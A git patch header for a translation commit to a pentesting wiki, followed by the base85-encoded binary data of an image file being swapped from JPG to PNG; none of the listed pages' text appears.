From 9191946abe3e9f6e88778b346b3748b4323f24eb Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 10:11:52 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/web-api- --- src/images/k8studio.jpg | Bin 6667 -> 0 bytes src/images/k8studio.png | Bin 0 -> 88827 bytes .../privilege-escalation/README.md | 578 +++++++++--------- .../pentesting-web/cgi.md | 44 +- .../pentesting-web/web-api-pentesting.md | 96 ++- .../pentesting-web/wordpress.md | 443 +++++++------- src/pentesting-web/command-injection.md | 54 +- src/welcome/hacktricks-values-and-faq.md | 138 ++--- 8 files changed, 700 insertions(+), 653 deletions(-) delete mode 100644 src/images/k8studio.jpg create mode 100644 src/images/k8studio.png diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89fa5348b69ee377112fe4841a2960c2f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6667 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 aSMyP>bE5UmqebZX#jO=e^LrmJ_Wd8$Cy6rv diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 0000000000000000000000000000000000000000..0add889f2f1854c1141ca35b43a867a37bbb1b57 GIT binary patch literal 88827 zcmZ@=1zZ$e*9Qb81!+(kq`Q<{N$KvcrI!wA6hRs(2?=SWYk@^VQUs)PDM7kh`kVE6 z<9Q$b;K%OF?A+ON&pq)!aS2ydmc_v&$3#Lx!jXF}rH+Jz!GMH>+<|@i;DNNC9TNOyoEWZ)MGnH&l6G~ftH9{J&aj@6Nw{&f!u5>l8g z66(M1(FfiUKhJ?b#F)R{?_?wY_lemk|Gpc8A^Xn1kC8hN!_J;22?K8!&d>GSkdUwl z5P!%>Y41sqkWhGSHFe!}l@x_6oE$mKES=1)IJ_O55u=bqyoG>6M=N(TYHvpeh?|hN zDDAI1gn(njWlmb^U$?m1i_+>UsZvWixmr;RaBy*O(TZVGQ&Wq$T7retrDXm!95@rD zwQ+ZM7UJae^77*F;^lC1wdUl0`t&I$7Y`>74?A!NyW0zhyO}pT#EtH+hy43FQdVvj zuC~tZwoVXg#B#!>kvzP7 z|1 zXDJshST^oHD7Ru)Zrn9Q6Ok47EV_dm=o};A$77|JZsi;65STT%*2>GpwXgb9l2HN` zuc#iRV_j&lM=GItdv@YD-$>L4T(bZS+d;CzL50uHkcE;1S#qfx`d!^xqcp~O8d zX`|)v?Sjz(;mksHCCu8YeG5H!U=t)^{+7pQuy6gkjArG@s+SDh@>py-`>dySf`8qg zw@k3v{hy53pA-h^!Z%yez4+Xr7iyO7(cn)4fy3 zFu?)0Yl`oy%bE@>bd9ts+0WSG?NjnEn6J8ka%$`oBoj@RY-iN7H_yH=knm<9)cx4`kw&%l_i08J9I+eIB|H5Nv z-)0BETz-V!(FtV}Ykvk%XwICSz*)F{%~OgY*F9?(!WVmdYBFerN%St3o#T;8G&}1R z2c^lzkCD^9H>)}>_BAd0hVT@H{ME*Ct=%c*9-PNjwh2&p(ZW{UK#)MA0m;i-uknvs zgT#^Fb@ov3+U)X9NG@koz=Un|iLKnR4CL8xLv1A zavjyc8`gLQoMy&`QhM{;mqhXhp|2NwL`SevUof~~?wP$_(}(tTIONKHzg_iL3*5Se zQ>}_RI~av8fZ;p7=}A7?vjLaix~x`l*{R?V*=dW1(FTH0o6=b$DEmZxpQ}b!Oh%7r zD(T?V#{?-~WAy<3o;*mzY>~baYgT#=+_HK-uk& zdz~EOte7)WCI9s)lr{bO3OYP&72as$zIi>M)Kn;*tML)G_-Iq3=&{^K1#Zucl7>P- zcDVECzQ%cth9DJRVhFPQ!v`RwU?22#bK7?u&hxslFgjK1SM&T?g-@~y7sAr9%2&Bz zj_|^ht@rIzSA!(T3=}(aHt-#Mh}Vh1gd@vOq-)4{*X4EXZ2yv4!#*S+6>9zy~ z!%?%kt-E%)v?e`mm#%mK{SZVALrFXEP6mr)Rs=3zZY`YM*oD8ym{GZ%KO1hnZd{cO z+{<0@-4umZ?faO;TPG^kE;rf+9GqBP*}v86zwE65O6ckV2G=B4@B5L-86$%bO;bDUfTSUd2 zkHC<=j$aRNlMQB2NbV<{g`Id3J?-c*Up5{i&=&I7nte!Sd6|fA4aRyZQShk(bhtCs6o^fs@+FJ3(8x6 zwJ|zq2Z!pMot{F5+yF7gLqR^$&*y@vpZmSLX%;iVh`+bxv1!^29+*6Qx?1;@o|O54 zt!%BuV67`K~t_T+_$dX0ojo&&fvB8F4(;>z$?D zt&j&_Bm~^*)%#u4K!iU9I6MrX3j%SWz@j$-Sk6@kd}^gCRKhk-Y{PGqpu~2pk10~6 za;x%kO>?p}|2VrGMqqa67i{SRyZHoZ;81$}c!?n@0*Mrh3mJd+B95O|7VWSvx2aFP znw5(T`e+y866+Kl&o925VC}{P7}y{K)5E)uY!u}Gj-xX3QH)K_gV!7~w+;0bdws)i zpyg`%@)u%kD^GfCALm){HGTPzW<)>Gbya;~nG6+D$9N!{R^|aWODH;y+rH5Wy)BWx zg)c1JR_gTt(!xSu188sRQ@7Q~lNtBC-Mwr4W|Fk&nN$A!os<)s*=^aR@pj|iG#_CD z=p}>l@-EJ5b~{Z2B}s_;3HLWOW0{9n3P-YEgxUvTr>v;gGf%v zthI1MudTcz@Dr4|8JOiZ1}_|3(jj!-!u7r-Gs!6U)I;<0EnY$yVk7i4LEvmHNb7hqF*UKe{m4gUv5o zQrJ{8tpkJlM|6*E)qU+h?4a`wCfPcLa3-HKCT1TqGO*4G#1Ae&!2@Zn_e}Wtsqq33 z+G?5Ue>zQ<=;s>+788=Wl~Kf3|DOEzdu%2;U<-e@7;lo18HR%K&W#)msVc^$t4exWZd5C?*R+n~jA0l&%wwZ;NR% zTC_3b#Yc}gzoiTA$+BvflH&O8cZLOJp!)d1-GF-3G+#E2&C>nW^W*udmxAp3tCM@vH znQ&XJBU2KLt&g~`EMyx- zX&!V3gt2vm53Yyll zsXi?pby*#q$-+_SwHF0^KAT%gLVZe@J!wXz-s=+gWZFMXbi-G4x>RmrF&M;#>f__H z%Dl1b7rm2|hO-ecmpS0~U_IaNQ37pOPM9s~?>r9zjiIJ67mJC4SsyyQ@c&paVTTss z?^X2GNC+$xEtxKAA)Zco_vlw9yO2kXXg8&|H!8@uBe?h<1~QFwFJoEa!l&wLXc zAbUtUX#t-WkwH;NX6tpBgPnM!ji2%{W{GRddA(nIqjoz&_$P(6!Q#?Tr?^mAcq}f- zC~u+~_OW;b7x~2K1MW3bNw*arC)~LfqPw3=u48btsrXRIz}}dfh!&x!L^cpei`)mQ zN5lJD_|WR7+R)lsL+y88w{(j0EwbyGf>$W(Ze=f?%6v%aB&G!PnvwEDmM~wFV(Z13 zC4bmp_=CMs`Vc3`V8LXb%6-V(MO^ouR}%HPPhEOQ9=*Gmqtu_2GYW|@-F{Xpl7ure zHzA*@%%x6qtv=|Ya_C*ayN8x9bQ+-Pt^~Z2Iv>jH+~V>QqY+Z^41|HcwmB7I@YQFl zzwE`NKm2PFtL_0%TU58V8hSJgr-9{yn+eT>v%O=;EHu!k!ZCQ(P{$yxihNry% zDEmIj+}xZjAoOtCKK+u(yffC2<}JLtS_nq`rhGvlG8Dr~&O5z>N;08g6{;`Z^PLdX ziCOI!ZTDS_89ysiQgQIE_cSp4T&^}}`@Q?Na8PaX*abTR$FiFv2S|IdZFEwa%a|@I zfx#T8YW|fyBDXoSO4Z8<&A60%UtAvb{6mZ{$pk+>i^|8K{K;Iw&6D*C^2mjeK{L76 z*>k^h5a6nm8sGxSPxa@a6&fC?2m(K2T1NPjJFtr-&hw2qOS4$*EK90AU~QkV_Jz|C z3w%e+^fQ+3x!+C6$JMsQk_Z(X80n1{96Heds>&aTc^~CP-qs5xp9u3G?oSCMhQ7cb znhG=$%h=U$9g)>HFfb6=>F-9@WXe7`)o-RO8`~Q8(v(tp-BtPU4~qfISJ&e90wOfWD^lRX=&nZzbJ zZ&JrdwHnh|J;u$|$!Txd#Q`eEH@tIIE)Vx?o$-=*1b?3Xk=RDvbtJ#WdSG+X{!6R2 z5jh$)S9nmjPHaFx{=q4o<6*m;fCcxT>5~E>Sm-_y&!E6_;km|WuS%pf2Dq}ajb$NC zBkd&Z8Tkurqtu*ddd3bR0AZa**-g32`LH2ht6BJl?M@Hb##0!rzGqwrhjL54!-g7!lt-eY z1E#X58071FInNAl(Ml2+t6f^xIbBOmPVUQDh{`bdOE?Ya=6(o$#>!Dgb2~(uvvi z`E(Y9TKN|3m|EshHkTz#CWT`TPO@BdWGrIIVBLyQuerY?9zn0uW>>jWvGH>6C|*HT zt*?G+;~1`8ZunGvc%EiXu3kn+OkBtgGJfhrgY&jBhlWd~Cw*abTi~|Y`(WwmFnTIe z2fb;$)rrqBMRaZjYxxVah-lq^p!t8DX8Qoq;YY#u)gi-g-^SX%n%01Hetm-8&vEKu zGcz*w>8v`@id%A0H}*@8DbJ~3E5f>jV65ltG5DC6o{Gd?m(!P@l^Zu-h{ZO&_B@)H zm`DcPwi}Fp#EXa?1L?y~u?<>5AR}WeHts?hypcUz`-hZ)N^qvbsRz!+v0XD|b5*8` z>L0>Zggrz>U~*?Dv(c5XW>*$qPzWhFf;A%jjn9g}0j4{KM&97i@^Dd_gqH)ID_6fP zv>_-Q<+k)y3#<9O;%)jGY+-$G?>6lgZL+X4GbTnF5Pz6L54!aPBZ^&gO%Q&<{gIv7 zfWqbPHA}O~Guq7{Kz9=$lcz6wssoBfp2w7CCgT5*ap+}$)FFFDw;VJYc3C{icKH$k zMG#ggBST)Hj@Lg_XRp%FF|!Q|WdI}sq=@zl1*k0&GhpXg%ygQjS?O&ZmS1L?VpjMU z&rNSn$2i{V@q3N8c-kq(ff8cE#7p3fb0c$eqP)*`3W}{T*OMp9fbhL_d}rnxlN*VE z|+sm-hNBM&76Kceu_e z`1<+|luEn}D7rmMA09ch=U<|D3qk)ZtCej~Q+urz&J-qFhupc771aGXHH~6}gyk)~ z?z~4{?su&O#4E%&sPi=v%;t1^nxuH@4hmBmZ7z*7$OU^$WTx9qFog_etbY`dtMgqU zQhPY^{Tqbr^PnZh9dg2=M;NRi-@tSshE;<+3<6tk0E)3%-M=IFKO}q0H6?NDI5?gG2X3^OTP^7*0wcsW)5={ zFm_6n>S*Plw@v6~^p*6OekxI^rFO|h(LKb7e2}bc&y7#UC2aGD?%cwpI0Ak5hv6z@w)$4rH7W@CoCajOn> z1V4(}mc&4!;^iHdf+C}4k|HYTRhpgTZ(uN zE$z_gs2f1fZGHPVCnY6nribBK=luMKY0+=Oye=zFL2}M-%~vN! z;U}ytE#WI!Z?e~=(?X*knj1dg8Nlq=>A!QBKV^flzR(`+-#EK<_wHS&6sv2F^zU~3 ziiDcESbo$&0AB9&s-@zq`IP7`3OU{DswHdT!REji`^NsEl?2<*>IGs%vfK!r8$jjL z_~rup>0vy;5~U)2wqkT9s^%DTaZRy#HYmj(uq0y|7GyOyl`zoa(z75E{yqqw9@pLR zQUGlpuW=EB6gd#>QL|ucYkli28&UdMy^Z`I)-s0~@Wx5kV1o${7FrD}?rqAzU`3bG zpA#dGCnw4tl=}Ozavh-QT{;LViJ&3@u|G|4OiawH#7F*aArki$is+!r?@7nWuoK&= zG_P-n%r<8jaZz*Fv-Rdj%B}p3!r8-QnizVcjO%eTK9J<>6`%MrY6NN1RZ5zcfQJHd z@#FiS(*7|^A&r1Aq?kf3H{?5z0B>s5m^OR9lFwBu4o~I;*!SR5A06j~=R8Z#*!Jgh z%GM~Rkr9@&4g?fIbDRCanBW&j5qmI_3QE$3zAcE^lrb+ShcnxjXIFa^z1cdR`MxwL zT#jAdp)t3tEIP#3M9N<0%g{twmWJc3GR*VG7@=}-7{#P03`ovge#ee2`lqNNd>=+! zqUML@mIrAM<_lS7Gv@GFOdEGSz}uQ|Kf#^%A9y};6wW*`ZwM@~dDu}fObrl zCqHTo;};UT&^o!y`68{{hMvfr9hh?a>BSKk;;&htBPwX`-tE?-PVrAFvgX;B7X{ zq{ygOcteix8F!kW3IT~pl{}A{@3mS0MWXcFsa+r>7dg31&mk4&rdyP2^BA0Ptd2da z#eF!b-)8r`&`CSrcLHXr$GKqI!CprrgSi zsB0>mELa}Zz3MhnUU8-ZSR+Pn(0 zHG2G0;F!Q-+*mI>YGtxwMzI3BY8JKcLUse=h2sx}i zcpRLWnfXE}929SvBJ^6y-`c!tvez&uwR@pn_5vP3#43|J z^|8CVn{|9I^4HR-CIxM^$XEDU>uB8-zT{Y3J<3weVXV1($)OPZ0MGlm#qB!axu~S5 zwI%+L>5-rVxkiVT56K-6)SeGhdYWmV7T`aDJt-)dDfl78>J<2lRYtzt(u^O4P8x3a z)zk!V6>VO@k~8oc=E>{#duWW=Ah?IhWYk?;sjA{R3JOlG)>iR|Dgs`V7W8#!WSWtC z3#XOZ^KlfQ+%+u!^-1IAOD3e?HyAdv6?R`N?@u0d&ON}&aQ;1d4Tb@TSQAY03lZlG z@goo=dLm;sw-%|vies}y$!C>%$e8!laSWQsfh?#1%^*-d7m<5wBl%T3`cgPrUs9Rc zLYR^*!PhYqUEP)c+8V zmv4;S)on{)L7SDWPuJGNZbBs9#jvpN-w)81KK*IvupP-;LoOoxgmhXjl#i}Abu+K4 zYLAKhP1`X_&&EQBec?hB`%A*9THDcLmR8{}LQD^XD>2q}mumd4uboIqNvH6kQ*Zv{ zy(0iQvpOEjk&e_i>Vs8ADNUmy52An_Qn^=O^pxNRe3jRG=RF@wA&*JOW~J}SfQ3MU zLKy1;S%tRXPa0dA{)r`XGjW5h9@iHql4=f80_k%Kyzzc~zZUix`nu#+A#17;-y7X{ z-BpBAvrjgQggX`vgcCU@#<^!gCOx63hv8b;-+vD+f^Y$dniTwmhsPWO7sy4>253B( zuqS2BKkPImFu@bna}=}9rM8%vv+}RNbxaAw`|5a|wlb9=JWL0^O3#;!` z2-K=xwM~}n{pL=v4;ItY#q8-C>nxqUC-M5Xkbwc~e73&JcTDk^GEKQ0zx0!pX5*qr zFy!YSB#sNHVDc$(9$VJPuBUG@D%FscJSdWHi{j>;5Fv4WyHYaX7M*Bqc#tIcSNdGfGaQXtanE_ z4J{TlV@J6`C+tZ(O!y=knml+L?Fk!)8#{P6V@ng<-}Kx!VY zi*0{&e$^_=wwlpi=Lk2va+>-zg`fv1ygVX)VuW=>HkE9=lH>DrWl1x5Ma@C+Z?*X? zdBW^N^P22Ug!%sv104`8zU(3NhXe6O8V4pvsyTr+&0>0x@=FeG3*{PNziImq+IGjU zARoWu%*2xMfBKF?F6`7)$q!5puQX^L>zk&;2>fLkLvp^;sPBfsJp}Bl^N1v7x1*pS zd&>XufItxC8P@v3&&HjdoxaIZy(8Tr548Xmt@jM!dU|BoRU||9eS;J|FOC3RrS-*r zaH)LQ7@U^mZj!MlJnQ=Y6~E+)pTC?#R^sw@@fxqzIOM{1Ohv}T{Hu*$3TJF8r-#0f zjNqVuVC^;(-k!v&6Z6xU3+%w%* zT9A~2qFFU&m6jB!C^NBh@g^vnWNWQ1V8#Zakvm+nHA8pFocRf3K}KkaW{3HWN2|@& zT@ggN9ylRi?~tr-Z~Nu*M9vqX=DpkSZsMXV&UC8KVbn;Bt5v|(haKg13J5!?PMb(d zN;YX5>#1$O1|qV*!wAqiYQLbrcOssRgH3~GY4!J;f2IQk1Gz8a0oubGq>^kK)J^t97L1kn`I{TBggDK;a`f^W zL;*1|$~_|B=3{Br?Xd3`U-wU4?D4PY3N8N`op?T=X0|1X*OadztljuA_LM=p3LTNu zk9W{B!}clLz`ArAS6rHnC{+~92yUTfsNoT`<^>)??TpMIwU8%2gHpi+A!^u_nR8vK zEfQqS8f=wxq^4otq>#I+!%NB4>ryV4mX<5Gm?+h=-sC-)rGGeds*8nfP=4t-CzLT= zWidM-FD2w-vo+zH6m_h1%@*OJVT&l}A<}aHdHFyL05qwy_4Wx5{r)mu`KijH$0*TV z-0O|ij)MKS$)2#$qnKX!_iv7UYYSs{@`Wm2 zS6pw=?W3%ER-P2TYi55)8|RKZ>2ETE@zS9cylX!a{t_2e@17N%s%&u2iFCGwk6WX` zCg~lmdrXyx*s`g5dT`^3%j*jmUE4<{^51~TS3H2BDC#N#zER4CpCIk#H&WRJ0ANb1 z(v{1PS>YHBP-eJ%Y)MsUlNh%;q6m=L6a?<^eG8#;ahzJlw(#?*Y09au7d-535T&39 zV`kn#Gvj;w7*&F0D4&eWm~3Q2|%a>;hNK-!y`^sKRkPun8z=?XGsSLfo zw>7fuXvfb^jW8I|^UhxnQkDCfQNPw;LOCJ&ISO@z-`Ij;FG8Q~Ji}npJ9$;^SfP4; z4^`{l%0F#HP>>g3B)U@_XKFW^FKXOoX)|e6Rf4}Qr5rz!EO7aOzjIu>MzP%5F)E$@ zvp$g+K%VrdP#oNaQV@w0?GzW<1}vQ&9uOuG(a|5YYH-yP7XD5b@6F2~@ZpPVz>#}K zN|dTaxE!qxFtX00sYRsfK1fjpIn{cJG+XucO_Up5uDipl#e7gGC@5+YaSA zk4TzwCe3LPzTodbnOYz4!9L(>5d*MIwzz-6rUr*3HwZ_AIKNyC&&UXads3JqTxZBY}E|glmGx|2&XH4nrQlE+L5ZsfzzP_eB!#-Fo_qBYJ z8);z^Yy0S03CCbde?kao*&I7!zj)Dor5!&-%+A|`6}=pg*6#-Q@S0qEeeM3%*W|i+ zp&@H+07)%ZSWl_sIb3!U zv1&(6@S-nldCoD&yB;*_VzQw-47-fou1`BTz;8Mh7Z=-re#6W|ICwZmx@qO;9Ma=* zUkyA$BX1`p<$obDUK6(9p*GKf5#5g)qJkniy?u}-UjQFfc8CH!K@*sc zIf9K}Uwggg70LN10}3xvijI!X8ui^N9#8CO`E9bQ!oi)447RW}!41pqK08@uC3H>d zY;L=5J134aiap=h&4(cyI(Ds5XZ{vdVPIjdyCQ&o0ZDv!s~QsKh!DmI?Fn3Yj`RAK z`FWhA9g1(wK!xMJ^Wk~p_b3jS8gtjyWZJ@@V`m*3w97E!`;!R)ocbn`Bt}5tX+2NN%QA)YbjnTsWNa zJah;Nm`OtrWRFj$rhc|vk(tQj$DFp%b#TNf_PKKMvU{jV=a-PeKocE(sDBaAo+cFa ztU|A5m78ILeQ#@TZ)B_OAfk#h%0-5+psTE`jQv5hD52R_UR#*N1N3Lqsvm;p@3a(j z?&&PJ4T`F0>!LQj*3B*{*?M$xz)86D2`@~}<~Kp(3I~}d#P`<@3KhE?&~vcKP$vSZ zrL?N8rw#v!(>Rxe31>>7vY*I8Vv$gWNh)P!Wm-Ofx2diR#y+7LB-$Km4?L+UTjih3 zmS8BXoy<;a(Bb}=>Z&~IAVn4N^$B-PfURMx>UE&etZ*Um4sUNJklwhYsVicQ@mM#% zWwrbn{{$K>z#!FDEtYc@q>*z-85d`Kke~Yadu>V0kv+@^?n*SZsPKXC<=^qmuetD( zJalb77In77Ct=u$XjXmh|m!l@p#@e$lhO>#R~WFzkr@7HC3bLxojO zD~!kKbmwsMLqg(}zKuzD*YTG_J;$d7;f ze?BB^TlT=9l}Un?U$&F-7ZxZDllti>vF7ohUJ;OT%N4_n)>dwaDmF&UXJjjC60y*+lIHc9o(I&(ZLTaP}}EH&LV zaL2aw4Wv{rJ~@AE^-ZYC6cD%&AoJdN-7@E|r^%%%$vKU6U=bnOGYZZ3~3zMs9>yHhb6 zXawo5Vspc8u_n7E=C~pa;#6mTSJBXSK2|6YF z)@}>VXYWDW=EgAII=o1Iwq;`RToSb7 zZ`YUX_Hj!5xXIJYYtWs-I&0`2`3RB+lDpj)L43E3PKEKcseu8UJ36&LL%(}l&w|T1 zz<{{k>1c@`Vvyjyv~j1a!T$yMo1l%Dfs2J#Lf%t(dTjzt$#r@)?T!Z9#G}U$?@5DG;xJ19Of%X;qJ2{P}c5RBr#DODn<{*N{h_ zvFKf>yxF||6eW`e?-_Em8E-Ocqfz)ujPYUtxp9Sdy;SAON{EQfjPAEk2f#I=BMYY?@XoLrYvo(WM9oiweg8?q6oLEhp5 z4x|YNy^H;v&p$upGZ^8&kUw5AK8^ee1qyg+pSN)5@shm534mrI=Aop404WT{+ed>F zXtOMRK3Vhd3zYKwo37Xx%51FRlUO?Q2kQ&tdusz3zGfySSD|kp1D8RN70)Qh3K*=o zl+173U4RebhmSchc!};<2||;C?03I)(b*t3&)gbSnB1y_hqcy`li%c#jktc)hy=O~ zK?3QHliP0}Pd8xU{5GXGS)iQw_(whGamsghNm?O!(ilWjgHg71*R&NoR5NLfKt2D* zLhS;w@fptfDQ+6{wTMhRuq`76i^=SG99HS-(w|PIcw~6?5Xgd=+%MR7PWouDSIZ+D zz9x1qE0!g0h6s`~&!WEEm)BgMjFQ_Mw@x;o#do!7@3-V}#9ZASLM6-qJ&(fpSixqW z5pk22F&OA|(iW6T6b@iAMZ6)GqlfOZSN!amqGm*azu|n4A}YRHtf&9hPt%N9alyye zGQ4<9=qcQe-B9Zo&h6H5k1|}JdCnhz&CUa8S47ZGip8d1TU6(5Ce1l4B7#|3HL?+S z)}Z1p==HvV;qJW!lH`-`{Pq)9qCX=x4PJp2FOq40+WP0dvD}$$FMA0YO()`I&{`De z;&|M<<(r1FXEU(wSs74HO=FA6uFas=wz;`^Q5loo%7}^|A1{J$BmB286i^V*HX43H zVji5@PrZ4X@RBk=SdPGkCB|`ZXWp~J&+T*HEG0chtZ<}bgn}=k0wSeox-pWELq|tf z&$8W2N9;q|PEqY}iCR%lk0ZIL)!DY4F~5H^F*0)a)Tv3z%ifCrlkBkg!#UzHhQo7@ zV*aHh7P|1%_^VCH$!k5Kti6$_z#dkzjrss0g{SD9YC!Yoq+R!yzA*v(^W~|}wHW^! zoFE0epoBk{A7RHcE*78?ET0pRrdCGjA?j&Z6L^~3q$u3=9X_mF#h!^Xg(y|+E0`Y9 z#rhfQXvOT8e4mI(KJxjJe_oq!(Bi5F;dj| zF!Txgq$7^xBelq95SO29s!pdpe7qyQKmoGqtXwal#EWYz7DR}8JahDksZ%cMpQeUd zwHYLNA|29%%4`35RVlq3*DFyf4CH|Vv$5*_iFKTCrappbfQRTq0~%Z2duP78mZ&e= zG8V7)`#kp{GBOBANpK@N9-W4E7{93~zPffO+6rhAf7diTNSmvgY#$$Q_?U^greaq! z{u_lAaSZ}V0ZUHmvVcg)FtUpKm50pNAJKF)cZ5C z#E7K>nV#W7;HMn1OUeg~%l-?6wH9&l@@ zON-`AnuV3-MXW38Z@d5u?8VD_|JY;^`~+kDeLt_Aipl#KDFX!5_QCADICaD#;g~gA zkhpag4K98dtdEgW1?m2@cG2QI^~HH6AgMfm;m3;w*q-Se-&L)fqP$~~FB2*dy@eAF zVar8Bt>!*<@4bBhsP3IVrccPv8Rk^A6loE!FdLQKL~h*qM&TR-Z-SA9eI!r_W)a(u8>Zw6t$( z_x4hcl?$%JA57IeS#1{l3A=MQ?A>7CyOziPy4+8DErW1WKXlKtE#oV4y^au}H5Su?kJLWdc@`!{Iw-f$$v`H(xV;h_b`Ob*B!oH7A#0 z7NuJm%3(#hdTG{8A!&O^_?M2RpbjZH%3&xA%?6IYzyHF1164YrAn}`2$2||8nr|5} 